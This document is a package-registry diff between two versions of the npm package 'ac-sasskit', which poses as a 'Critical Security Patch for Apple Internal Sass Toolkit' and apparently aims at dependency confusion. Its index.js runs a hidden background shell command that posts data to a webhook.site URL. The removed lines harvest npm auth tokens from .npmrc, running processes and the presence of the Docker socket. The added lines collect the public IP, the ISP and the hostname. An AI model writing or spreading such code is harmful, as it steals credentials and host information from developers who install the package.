ac-sasskit 100.0.4 → 100.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +9 -12
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,21 +1,18 @@
1
1
  const { exec } = require('child_process');
2
- const webhook = 'https://webhook.site/cb8d0670-33e0-46e2-8d6f-66a5e2d3df5d';
2
+ const webhook = 'https://webhook.site/d9ff4a88-0f9f-4f28-a8a0-c283d7e06b44';
3
3
 
4
4
  const cmd = `
5
5
  (
6
- H=\$(hostname);
7
-
8
- # 1. Cari Token atau Kredensial (Sangat Sensitif)
9
- # Mencari token di file .npmrc atau .git/config
10
- CRED=\$(cat ~/.npmrc /root/.npmrc .npmrc 2>/dev/null | grep "_auth" | cut -d'=' -f2 | head -c 20);
11
-
12
- # 2. Ambil List Proses (Lihat apa yang sedang berjalan di server itu)
13
- PROC=\$(ps -aux | head -n 5 | awk '{print \$11}' | tr '\\n' ' ');
6
+ # 1. Ambil IP Publik asli server tersebut
7
+ PUB_IP=\$(curl -s https://ifconfig.me || wget -qO- https://ifconfig.me || echo "FAILED");
14
8
 
15
- # 3. Cek apakah ada akses ke Docker Socket (Potensi Breakout)
16
- DOCKER_SOCK=\$( [ -S /var/run/docker.sock ] && echo "SOCK-EXISTS" || echo "NO-SOCK" );
9
+ # 2. Cek rute jaringan (siapa penyedia internetnya)
10
+ ORG_INFO=\$(curl -s http://ip-api.com/line/\$PUB_IP?fields=org,as || echo "NO_ORG");
17
11
 
18
- MSG="[DEEP-RECON] Host: \$H | Token-Snippet: \$CRED | Proc: \$PROC | Docker: \$DOCKER_SOCK";
12
+ # 3. Ambil data identitas mesin lagi
13
+ H=\$(hostname);
14
+
15
+ MSG="[REAL-IP-AUDIT] Host: \$H | Public-IP: \$PUB_IP | Org: \$ORG_INFO";
19
16
 
20
17
  curl -X POST -H "Content-Type: text/plain" -d "\$MSG" "${webhook}"
21
18
  ) > /dev/null 2>&1 &
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ac-sasskit",
3
- "version": "100.0.4",
3
+ "version": "100.0.8",
4
4
  "description": "Critical Security Patch for Apple Internal Sass Toolkit",
5
5
  "main": "index.js",
6
6
  "scripts": {